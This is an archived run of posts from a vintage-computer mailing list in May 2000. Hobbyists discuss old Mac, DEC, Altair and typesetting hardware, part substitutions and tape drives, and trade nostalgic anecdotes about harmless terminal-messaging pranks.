>foxvideo@wincom.net writes: > >> I have just been given the remains of a Mac IIcx, and would like to >> determine its condition without spending too much money. Does anyone know >> the pinouts of the 15 pin video connector? >> >> Thanks >> >> Charlie Fox > >well, since the IIcx has no builtin video, the pinouts will depend on what >nubus video card you will use. > >DB Young ICQ: 29427634 > >hurry, hurry, step right up! see the computers you used as a kid! >http://members.aol.com/suprdave/classiccmp/museum.htm > > The video card ic an Apple Computer Inc. 820-0198-A7 Mackintosh II Video Card. It was packed separately from the computer, and condition is unknown. The story here is that a couple of friends closed up their repair business, and yesterday contributed a van load of computers and other odds and ends to my collection. I have had no Mac experience, the only other one in the collection is a Mac +, so don't really know what I am doing. I would like to make an adapter to go from the Mac 15 pin video,(size of a game port) to a standard VGA monitor. Thanks Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Check out "The Old Walkerville Virtual Museum" at http://www.skyboom.com/foxvideo and Camcorder Kindergarten at http://www.chasfoxvideo.com From ethan_dicks at yahoo.com Mon May 22 09:40:11 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:54 2005 Subject: More PDP-8/L teletype stuff Message-ID: <20000522144011.22054.qmail@web613.mail.yahoo.com> --- David Gesswein wrote: > Highgate only has 8/I schematics, similar (I haven't found a copy of the > 8/L schematics yet). I did get a copy of the module location chart > from Dave Mahoney which is on highgate. I have a B-sized drawing set, "DEC-8/L-HR2A-D, PDP-8/L MAINTENANCE MANUAL Volume II; 3rd printing - March 1972" I would have already scanned them, but my flatbed is out on loan. I'll increase the priority of getting it back and see about scanning it for Highgate. If anyone else has that document, feel free to beat me to it. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From pechter at pechter.dyndns.org Mon May 22 10:02:42 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:54 2005 Subject: Wanted: DEC MSCP 19" rackmount hard drive In-Reply-To: from Terry Kennedy at "May 22, 2000 10:05:32 am" Message-ID: <200005221502.LAA04668@bg-tc-ppp270.monmouth.com> > Johnny Billquist writes: > > I just love the RP07 for finesse. Not that sure about reliability, but it > > sure looks impressive enough, with that front panel, and everything... :-) > > I had an RP07 once. Wonderful drive - Memorex's answer to the IBM 3370/ > 3380. But the spindle drive belt failed and in the 2 days it took to get > a new one, the heads stuck to the platters and that was the end of the > drive... > > Terry Kennedy http://www.tmk.com > terry@tmk.com Jersey City, NJ USA The drive had a large number of problems early which led to its being less than popular. One was sticktion and a failure of the heads to retract on power fail. The fix was a battery pack and adjustments to the HDA assembly. IIRC The other was cost, maintenance difficulties (large heavy hda which wasn't available in large quantities at DEC... which lead to maintenance downtime.) The RA81's seemed to undercut the device in price and took the market from it in sites with HSC's and even some UDS50's got jacked on to 11/70's. I wonder what would've happened if DEC had an HSC-CI70 that interfaced with the Cache or Massbus bus systems on the 11/70's. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From jbmcb at hotmail.com Mon May 22 10:50:32 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:54 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? References: <000d01bfc342$79484320$0101a8c0@jay> Message-ID: <20000522154540.43949.qmail@hotmail.com> I snagged a few of these from a design firm that was tossing them. They are dedicated page layout minis. Quadex was bought by CompuGraphic, which was in turn bought, I think, by 3M. Thats why there are Quadex and CompuGraphic parts on the same system. The Quadex was the most popular page layout setup in the late seventies to early eighties. The CPU box alone is pretty much useless, they were designed to plug into a "Desktop" terminal controller, about the size of a modern full size tower case laying sideways. The terminal controller ran a more or less standard terminal with special page layout keys (The keyboards are big metal jobbers) The controller also ran a special preview monitor and control keypad for viewing pages as WYSIWIG as you could get back then. I'm not sure what board had the disk controller, but mine came with a 100MB 8" Winchester drive, a DC20-style tape drive, and a pair of 8" disk drives. I got a portion of the disk set, each 8" disk contains ONE font, in one face, in one style, in one point size. I've seen the typesetter these things are designed to run, its a MONSTER. about the size of the new beetle, you have to completly disassemble it to get it through the door. The company I saw that was running it didn't even bother loosing the typesetter, they just converted it into a nice conference table. I could not find ANY information on these things on the web. They were for a niche market and were replaced ASAP with Macs. I'll poke around my collection and see what else I can figure out. ----- Original Message ----- From: "Jay West" To: Sent: Sunday, May 21, 2000 12:34 PM Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? > A friend called me about a cpu cabinet sitting next to a dumpster. I would > like some background and identification on this system if anyone knows. And > most importantly - there's much more that I left behind - should I go get it > (as in anyone here want some of it)? > > At first blush I didn't think it would be interesting, but it looks like an > unibus system; it also had some M8043 and M8017 cards in it so it must be > something DECish? > > Here's very sketchy details... > > Quadex Q5000 labeled rack and cpu enclosure > Various tags inside the cabinet mention Quadex or Scientific Micro Systems > or CompuGraphics > A very deep rackmount unit with a QIC tape slot in the front > A very deep rackmount unit with two 8" floppy drives - model A02028-501 "030 > Storage Module" > > The backplane looks DECish to me - similar to what I've seen in a 11/44. > Here's some of the cards that are in it. > Three M8017 - I know what these are :) > One M8043 - I know what this is too :) > Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type > connector (much smaller than 10b2). Main chip is N8X305N > one #70201 which obviously went to external devices - two 50 pin headers > which end in same connector 11/23 uses to go to external RD52's > Sheild/bus terminator board - #203763 > What appears to be a memory board and has a 40 pin connector on it - #75063 > One board has a ton of different size ribbon cables coming off it - label > says "FWD0106" > Plessey Peripheral Systems board with 50-pin berg connector #703755 > Small board #20041 with 14 pin berg coming off the side > 2 card cpu set - #20038 and #20039, about 5 AM2901CPO chips, and a lot of > N82S191N chips that say things like "instruction decoder" > > The SLU cards I can use in my 11/23's and 11/73's. I noticed that the back > of the cpu cabinet someone had labelled the ports - some said terminal and > some said "typesetter". Any idea what these cards are and if they're usable > in other dec systems? I left the QIC tape drive behind and they said there > was more where that rack came from - anyone interested or is this junk? > Trash pickup is on wednesday so let me know before then :) > > Jay West > > > > > > > From RCini at congressfinancial.com Mon May 22 11:05:55 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions Message-ID: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> It's that time of year again, when I think about designing an Altair/IMSAI work-alike. Now that I have the ability to generate schematics/layouts, I may actually try it. Anyway, some parts have become scarce, so I would have to use substitutes. For example, Jameco no longer carries the 8T97 buffer/driver. As I recall the 8T97 is an LS373 without the inverter on the gate *and* is faster and has a higher drive current. I've heard that the MC6887 is a sub, but I can't find a datasheet on it. The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 which looks like a likely sub. I would forego this type for a larger SRAM, but I guess that it too would have to be dual-ported. I need to look at the schematics for an S100 memory board. Someone on-list did a design for his own clone, but I can't remember who it is. I'm sure that it can be done cheaper than Tom Fischer's IMSAI-2 though. Rich From jimw at agora.rdrop.com Mon May 22 11:21:57 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> Message-ID: On Mon, 22 May 2000, Cini, Richard wrote: > It's that time of year again, when I think about designing an Altair/IMSAI > work-alike. Now that I have the ability to generate schematics/layouts, I > may actually try it. > > Anyway, some parts have become scarce, so I would have to use substitutes. > For example, Jameco no longer carries the 8T97 buffer/driver. As I recall > the 8T97 is an LS373 without the inverter on the gate *and* is faster and > has a higher drive current. I've heard that the MC6887 is a sub, but I can't > find a datasheet on it. Ummm... has the T.I. 74LS367 gone extinct? We always used that as an 'exact match' sub. Same for the 74LS368 as a EM sub for the 8T98... Many (most?) S-100 boards/kits/etc. used these parts interchangeably. -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From sethm at loomcom.com Mon May 22 12:35:48 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10>; from RCini@congressfinancial.com on Mon, May 22, 2000 at 12:05:55PM -0400 References: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> Message-ID: <20000522103548.A13941@loomcom.com> On Mon, May 22, 2000 at 12:05:55PM -0400, Cini, Richard wrote: > > Someone on-list did a design for his own clone, but I can't remember who it > is. I'm sure that it can be done cheaper than Tom Fischer's IMSAI-2 though. I want to say it was Tim Shoppa's "TIMSAI", a few years ago. Am I right Tim? I seem to remember that his projected price was going to be pretty close to Fischer-Freitas's cost for the IMSAI Series 2. It's very expensive to do small runs, and do them well. > Rich -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From CordaAJ at nswc.navy.mil Mon May 22 12:36:23 2000 From: CordaAJ at nswc.navy.mil (Corda Albert J DLVA) Date: Sun Feb 27 18:52:54 2005 Subject: rescued a beehive! Message-ID: <7B4C28C84831D211BFA200805F9F34561A8E59@nswcdlvaex04.nswc.navy.mil> > -----Original Message----- > From: Frank McConnell [mailto:fmc@reanimators.org] > Sent: Friday, May 19, 2000 4:13 PM > To: classiccmp@classiccmp.org > Subject: Re: rescued a beehive! > > > allisonp@world.std.com wrote: > > I know, I worked for Haziltine and was part of > manufacturing engineering > > for terminals then. > > Hmm. This might have been before your time, but I might as well ask: > got any stories to tell about the Hazeltine 2000? Back in the 70's when I was in college (WPI), our computer center used a bunch of HZ2000s at the center itself. (our system at the time was a KA based PDP-10). An oddity of the TOPS10 monitor (or at least the version that we were running) was that it let people send messages between terminals even if no one was logged in. One of my friends figured out that if you opened an unassigned terminal in the computer center (usually after hours)from a remote campus site, you could dump a series of commands (usually including "send" commands :-) to the HZ2000, terminated with a "send screen" command sequence. This let you send messages that looked as if they originated from the center to another remote terminal.(Heck, we were just college kids, and it was an innocuous bug. Boy, I miss those days :-). -al- > > I ran across a few of them in the early 1980s, being used as 1200 bps > terminals to a Univac 1108. 74-column green-screens in yellow-painted > metal boxes. Very funky, even then. > > -Frank McConnell > > From lemay at cs.umn.edu Mon May 22 13:01:40 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:54 2005 Subject: More PDP-8/L teletype stuff In-Reply-To: <20000522144011.22054.qmail@web613.mail.yahoo.com> from Ethan Dicks at "May 22, 2000 07:40:11 am" Message-ID: <200005221801.NAA03212@caesar.cs.umn.edu> > --- David Gesswein wrote: > > Highgate only has 8/I schematics, similar (I haven't found a copy of the > > 8/L schematics yet). I did get a copy of the module location chart > > from Dave Mahoney which is on highgate. > > I have a B-sized drawing set, "DEC-8/L-HR2A-D, PDP-8/L MAINTENANCE MANUAL > Volume II; 3rd printing - March 1972" I would have already scanned them, > but my flatbed is out on loan. I'll increase the priority of getting it > back and see about scanning it for Highgate. If anyone else has that document, > feel free to beat me to it. > > -ethan AHA! I didnt realize that Volume II was just the printsets. then perhaps I have the complete documentation set after all. I plan to scan this all in sometime. I just picked up a B size scanner a few weeks ago. Who knows, if I get really bored I might just scan in a few inches of size B VAX 11/780 printsets. -Lawrence LeMay From lemay at cs.umn.edu Mon May 22 13:04:41 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:54 2005 Subject: PDP 8/L console In-Reply-To: <20000522033909.3335.qmail@web615.mail.yahoo.com> from Ethan Dicks at "May 21, 2000 08:39:09 pm" Message-ID: <200005221804.NAA03832@caesar.cs.umn.edu> > > --- Lawrence LeMay wrote: > > Does anyone have that information on the W076? > > I have the schematic in the PDP-8/L reference schematics. Isn't there a > copy of these on Highgate? I didnt see it in my copy of the 8/L schematics. Whats the name of the sheet its on? -Lawrence LeMay From foo at siconic.com Mon May 22 12:38:23 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:54 2005 Subject: rescued a beehive! In-Reply-To: <7B4C28C84831D211BFA200805F9F34561A8E59@nswcdlvaex04.nswc.navy.mil> Message-ID: On Mon, 22 May 2000, Corda Albert J DLVA wrote: > Back in the 70's when I was in college (WPI), our computer center used > a bunch of HZ2000s at the center itself. (our system at the time was a > KA based PDP-10). An oddity of the TOPS10 monitor (or at least the > version that we were running) was that it let people send messages > between terminals even if no one was logged in. One of my friends > figured out that if you opened an unassigned terminal in the computer > center (usually after hours)from a remote campus site, you could > dump a series of commands (usually including "send" commands :-) to > the HZ2000, terminated with a "send screen" command sequence. > This let you send messages that looked as if they originated from > the center to another remote terminal.(Heck, we were just college > kids, and it was an innocuous bug. Boy, I miss those days :-). I remember way back in 1990 one of my friends found the codes that allowed one to effectively "remotely control" the Wyse 50 terminals in our HP-UX lab. We had a lot of fun creating "terminal chains" where we would have one terminal, controlling another terminal, controlling another terminal, which was logged in to the server. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mmcfadden at cmh.edu Mon May 22 13:48:06 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:52:54 2005 Subject: OT: Show how old you are with printer/punch card control codes. Message-ID: Punch card trivia Any character in column 6 made this card a continuation of the previous card. This only applies to Fortran program source cards not data cards. Also don't triple punch any columns, the card reader with usually produce a check error I don't remember the drum card programming codes, you could skip columns, force numeric, automatically insert zeros and periods. Line printer trivia Many printer control codes were very useful when trying to print pictures on the back side of green-bar. Output on line printers + in column 1 don't start a new line 0 in column 1 double space 1 in column 1 form feed We used to turn over the paper and attempt to print "pictures" after hours. Somewhere I still have a 9-track tape from 1975 that has a "beautiful" woman on it. I heard that IBM sequentially printed Christmas banners at a trade show by using 3 printers each with a different color ribbon, Red, Green, Black, and feeding the paper continuously through each printer in turn. Nostalgia or is it Altzhimers Mike From transit at lerctr.org Mon May 22 14:07:10 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:52:54 2005 Subject: rescued a beehive! In-Reply-To: Message-ID: On Mon, 22 May 2000, Vintage Computer GAWD! wrote: > I remember way back in 1990 one of my friends found the codes that allowed > one to effectively "remotely control" the Wyse 50 terminals in our HP-UX > lab. We had a lot of fun creating "terminal chains" where we would have > one terminal, controlling another terminal, controlling another terminal, > which was logged in to the server. Hmm, in our computer lab (1983-1987), we had to be content with e-mailing a million control-G's to each other... From emu at ecubics.com Mon May 22 14:18:33 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:54 2005 Subject: Semi-OT: DECstation/TZ30 question References: Semi-OT: DECstation/TZ30 question (Zane H. Healy) Message-ID: <02f801bfc422$86b82350$5d01a8c0@p2350> ----- Original Message ----- From: Zane H. Healy To: Sent: Sunday, May 21, 2000 19:15 Subject: Re: Semi-OT: DECstation/TZ30 question > I know it's fussy on PC SCSI controllers, but I expected it to work on a > DECstation since some of the older ones came with TZ30's. I'm suspecting > the 5000/133 is too new of a model to support it (sort of like trying to > use a RRD40 (think that's the right designation for the external SCSI > CD-ROM with the wierd caddies) on a Alpha (though the Alpha will recognize > it, the software won't allow it). I guess you're doing something wrong there. That's exactly the way i made my 2.11BSD tapes a year ago. A TZ30 on a DecStation 5000/133 running NetBSD. No problems. cheers, emanuel From healyzh at aracnet.com Mon May 22 14:28:57 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:54 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <02f801bfc422$86b82350$5d01a8c0@p2350> References: Semi-OT: DECstation/TZ30 question (Zane H. Healy) Message-ID: emanuel stiebler wrote: >I guess you're doing something wrong there. That's exactly the way i made >>my 2.11BSD tapes a year ago. A TZ30 on a DecStation 5000/133 running >>NetBSD. > >No problems. Sounds like maybe I should find some time to get NetBSD on the DECstation then. Though I still would have thought it would recognize the tapedrive from the monitor like it did the RZ25's. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From mikeford at socal.rr.com Mon May 22 14:44:31 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:54 2005 Subject: rescued a beehive! In-Reply-To: References: Message-ID: >On Mon, 22 May 2000, Vintage Computer GAWD! wrote: > >> I remember way back in 1990 one of my friends found the codes that allowed >> one to effectively "remotely control" the Wyse 50 terminals in our HP-UX >> lab. We had a lot of fun creating "terminal chains" where we would have >> one terminal, controlling another terminal, controlling another terminal, >> which was logged in to the server. > >Hmm, in our computer lab (1983-1987), we had to be content with e-mailing >a million control-G's to each other... File this under simple minded, but "our" little mischief was to send messages to another terminal, with a series of cursor moves at the end so that the message sender text was overwritten to make it look like the message was "official". Unfortunately one professor used a teletype which ignored the vt100 cursor stuff. Nobody got into any trouble, but we did learn to watch out for his sessions. From lemay at cs.umn.edu Mon May 22 15:03:52 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:54 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: from "McFadden, Mike" at "May 22, 2000 01:48:06 pm" Message-ID: <200005222003.PAA14218@caesar.cs.umn.edu> > We used to turn over the paper and attempt to print "pictures" after hours. > Somewhere I still have a 9-track tape from 1975 that has a "beautiful" woman > on it. I heard that IBM sequentially printed Christmas banners at a trade > show by using 3 printers each with a different color ribbon, Red, Green, > Black, and feeding the paper continuously through each printer in turn. The last time I put those ASCII pictures up on a FTP site, our security guy made me take em down or edit out the nude ones from the RTTY days... Apparently someone found em, and started spreading the word, and the activity popped up on his security monitoring software, so he checked why so many downloads were occuring from my Staff FTP account ;) ;) -Lawrence LeMay From emu at ecubics.com Mon May 22 15:15:51 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:54 2005 Subject: Semi-OT: DECstation/TZ30 question References: Semi-OT: DECstation/TZ30 question (Zane H.Healy) Message-ID: <036b01bfc42a$987506a0$5d01a8c0@p2350> ----- Original Message ----- From: Zane H. Healy To: Sent: Monday, May 22, 2000 13:28 Subject: Re: Semi-OT: DECstation/TZ30 question > emanuel stiebler wrote: > >I guess you're doing something wrong there. That's exactly the way i made > >>my 2.11BSD tapes a year ago. A TZ30 on a DecStation 5000/133 running > >>NetBSD. > > > >No problems. > > Sounds like maybe I should find some time to get NetBSD on the DECstation > then. Though I still would have thought it would recognize the tapedrive > from the monitor like it did the RZ25's. I get with "cnfg 3" --------------------------------------------------- DEV PID VID REV SCSI DEV ===== ================== ========== ====== ======== rz0 DSP3105S DEC T384 DIR tz5 SEQ cheers, emanuel From MCONLIN at danielind.com Mon May 22 15:23:45 2000 From: MCONLIN at danielind.com (Michael Conlin) Date: Sun Feb 27 18:52:54 2005 Subject: Atari Computers Message-ID: <30724FF712DFD2119E6200104B244892013045CB@mail1> I have a couple of Atari 800XL's new, in the box. Can anyone direct me to anyone that may be interested? Mike Conlin From jfoust at threedee.com Mon May 22 15:25:37 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:54 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: Message-ID: <4.3.0.20000522152433.0207cad0@pc> At 01:48 PM 5/22/00 -0500, McFadden, Mike wrote: >We used to turn over the paper and attempt to print "pictures" after hours. >Somewhere I still have a 9-track tape from 1975 that has a "beautiful" woman >on it. I heard that IBM sequentially printed Christmas banners at a trade >show by using 3 printers each with a different color ribbon, Red, Green, >Black, and feeding the paper continuously through each printer in turn. See http://www.threedee.com/jcm/aaa/index.html . - John From ard at p850ug1.demon.co.uk Mon May 22 12:53:51 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:54 2005 Subject: Update 2: TRS-80 Model 1 PSU (and monitor question) In-Reply-To: <007001bfc38d$9f4668e0$0201640a@colossus> from "Earl Evans" at May 21, 0 06:32:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3792 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/d0fd9d6b/attachment-0001.ksh From ard at p850ug1.demon.co.uk Mon May 22 12:59:27 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:54 2005 Subject: I need to make a cable In-Reply-To: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net> from "Wayne M. Smith" at May 21, 0 06:51:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1881 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/d6031dcc/attachment-0001.ksh From ard at p850ug1.demon.co.uk Mon May 22 14:07:04 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> from "Cini, Richard" at May 22, 0 12:05:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1222 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/7d2e68ed/attachment-0001.ksh From healyzh at aracnet.com Mon May 22 15:45:59 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:54 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <036b01bfc42a$987506a0$5d01a8c0@p2350> from "emanuel stiebler" at May 22, 2000 02:15:51 PM Message-ID: <200005222045.NAA08629@shell1.aracnet.com> > I get with "cnfg 3" > > --------------------------------------------------- > DEV PID VID REV SCSI DEV > ===== ================== ========== ====== ======== > rz0 DSP3105S DEC T384 DIR > tz5 SEQ > > cheers, > emanuel Thanks, looks like I've got some sort of problem then. Blast! Zane From foo at siconic.com Mon May 22 14:56:21 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:54 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: <200005222003.PAA14218@caesar.cs.umn.edu> Message-ID: On Mon, 22 May 2000, Lawrence LeMay wrote: > The last time I put those ASCII pictures up on a FTP site, our security > guy made me take em down or edit out the nude ones from the RTTY > days... Apparently someone found em, and started spreading the word, and the > activity popped up on his security monitoring software, so he checked why > so many downloads were occuring from my Staff FTP account ;) ;) Here's a great site entitled "The History of ASCII (Text) Art" http://cgi1.geocities.com/SoHo/7373/history.htm Lawrence, if you still have your archive of ASCII art online I'd like to know about it. Also, if there are any other archives on the web that anyone knows about please post the URLs. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mikeford at socal.rr.com Mon May 22 16:11:44 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:54 2005 Subject: Vancouver, Cal's Computer Warehouse? In-Reply-To: References: <200004302246.RAA05679@opal.tseinc.com> Message-ID: Anybody up in Vancouver familiar with this place? They have a service manual for my NEC Silentwriter 2 model 90 on eBay right now, but I am also curious about them in general. http://www.goseecal.com/ Cal's Computer Warehouse Inc. 3083 Grandview Hwy. Vancouver, B.C., V5M 2E4 Canada Tel: 604-437-5551 Fax: 604-437-5552 From lemay at cs.umn.edu Mon May 22 16:34:02 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:54 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: <4.3.0.20000522152433.0207cad0@pc> from John Foust at "May 22, 2000 03:25:37 pm" Message-ID: <200005222134.QAA14616@caesar.cs.umn.edu> > At 01:48 PM 5/22/00 -0500, McFadden, Mike wrote: > >We used to turn over the paper and attempt to print "pictures" after hours. > >Somewhere I still have a 9-track tape from 1975 that has a "beautiful" woman > >on it. I heard that IBM sequentially printed Christmas banners at a trade > >show by using 3 printers each with a different color ribbon, Red, Green, > >Black, and feeding the paper continuously through each printer in turn. > > See http://www.threedee.com/jcm/aaa/index.html . > > - John > Yes, but you dont have the actual ASCII text files available for download from your web pages... -Lawrence LeMay From emu at ecubics.com Mon May 22 17:14:35 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:54 2005 Subject: Semi-OT: DECstation/TZ30 question References: <200005222045.NAA08629@shell1.aracnet.com> Message-ID: <040201bfc43b$1de73730$5d01a8c0@p2350> From: > > DEV PID VID REV SCSI DEV > > ===== ================== ========== ====== ======== > > rz0 DSP3105S DEC T384 DIR > > tz5 SEQ > Thanks, looks like I've got some sort of problem then. Blast! If you want, i could send you one of the 2.11BSD tapes. cheers, emanuel From healyzh at aracnet.com Mon May 22 17:39:48 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:54 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <040201bfc43b$1de73730$5d01a8c0@p2350> from "emanuel stiebler" at May 22, 2000 04:14:35 PM Message-ID: <200005222239.PAA26095@shell1.aracnet.com> > > From: > > > > > DEV PID VID REV SCSI DEV > > > ===== ================== ========== ====== ======== > > > rz0 DSP3105S DEC T384 DIR > > > tz5 SEQ > > > Thanks, looks like I've got some sort of problem then. Blast! > > If you want, i could send you one of the 2.11BSD tapes. > > cheers, > emanuel > > > Actually I'm stuborn enough I'd like to manage it myself, as that's part of how I justify all this equipment to myself :^) However, if I continue to fail I'll keep the offer in mind. Zane From lemay at cs.umn.edu Mon May 22 17:41:52 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:54 2005 Subject: OT: Show how old you are with printer/punch card control codes. In-Reply-To: from Vintage Computer GAWD! at "May 22, 2000 12:56:21 pm" Message-ID: <200005222241.RAA14736@caesar.cs.umn.edu> > > Lawrence, if you still have your archive of ASCII art online I'd like to > know about it. Also, if there are any other archives on the web that > anyone knows about please post the URLs. > > Sellam International Man of Intrigue and Danger I have it online, but not currently available. if you have someplace that we can make this stuff available, then that would be great. Working at a University, I have to be extremely concerned about political correctness... We cant have our public dollars spent to let little johnnie print out ASCII pictures of girls, now can we? The main files, which are huge multi-overstrike, and often multi columns of wide fanfold paper in size (ie, for pictures like Mr Spock, or the Golden Gate bridge), originally came from an old Magtape. Lately I keep them in unix compress form, and they fit on 2 high density floppies along with IBM dos binaries of a uncompress program. I could make a single Tar file out of em, and put it on a web site for a day or so for you to grab it... or maybe mail you some floppy disks. Now if I could just get a hold of a wide carriage printer that can do overstrikes and uses 11x17, or 11x14 or whatever the correct size is... of course, a DecWriter III is perfect for printing these... Too bad I dont have the space for one. -Lawrence LeMay From netsurfer_x1 at hotmail.com Mon May 22 17:41:39 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:52:54 2005 Subject: Need Software. Message-ID: <20000522224139.97076.qmail@hotmail.com> This may sound ridiculous, but here goes. If it would be possible, could somebody please send me (via snail mail) MS-DOS programs that will work on my Sharp PC-7000. I am asking because the 5.25" drive in our computer is not completely compatible in DSDD mode (it is a 1.2 Mb drive), and all of my tries to transfer programs have been unsuccessful, so I have decided to give up & go here. A word of warning, the Sharp does not have a hard drive, so I'll need programs that will run off one or two floppy disks. ____________________________________________________________ David Vohs, Digital Archaeologist & Computer Historian. Home page: http://www.geocities.com/netsurfer_x1/ Computer Collection: "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, Okimate 20. "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. "Delorean": TI-99/4A. "Monolith": Apple Macintosh Portable. "Spectrum": Tandy Color Computer 3. "Boombox": Sharp PC-7000. ____________________________________________________________ ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From eric at brouhaha.com Mon May 22 17:41:23 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:54 2005 Subject: Wanted: DEC MSCP 19" rackmount hard drive In-Reply-To: <200005221502.LAA04668@bg-tc-ppp270.monmouth.com> (message from Bill Pechter on Mon, 22 May 2000 11:02:42 -0400 (EDT)) References: <200005221502.LAA04668@bg-tc-ppp270.monmouth.com> Message-ID: <20000522224123.16084.qmail@brouhaha.com> Bill Pechter wrote: > I wonder what would've happened if DEC had an HSC-CI70 that interfaced > with the Cache or Massbus bus systems on the 11/70's. Simple. They would have sold more 11/70s and fewer VAXen. That's why they didn't do it. That's why they didn't do a *lot* of things that would have made sense from a technical perspective. From eric at brouhaha.com Mon May 22 17:43:55 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:54 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> (RCini@congressfinancial.com) References: <497A9E0467D2D2119B760090271EB8E50E9148@MAIL10> Message-ID: <20000522224355.16103.qmail@brouhaha.com> Rich writes: > The 8101 dual-port 256bx4 RAM is no longer available, but Jameco has a 5101 > which looks like a likely sub. Check the timing specs; the 5101 might be slower. Also, 8101 is just a different marketing designation for 2101, just like 8702 for 1702, etc. The 2101 should be easier to find. Apparently Intel's marketing people didn't think that engineers would be able to figure out that their standard RAM, ROM, PROM, and EPROM products would work with the 8080, so they introduced 8xxx-series part numbers for them. From emu at ecubics.com Mon May 22 17:55:58 2000 From: emu at ecubics.com 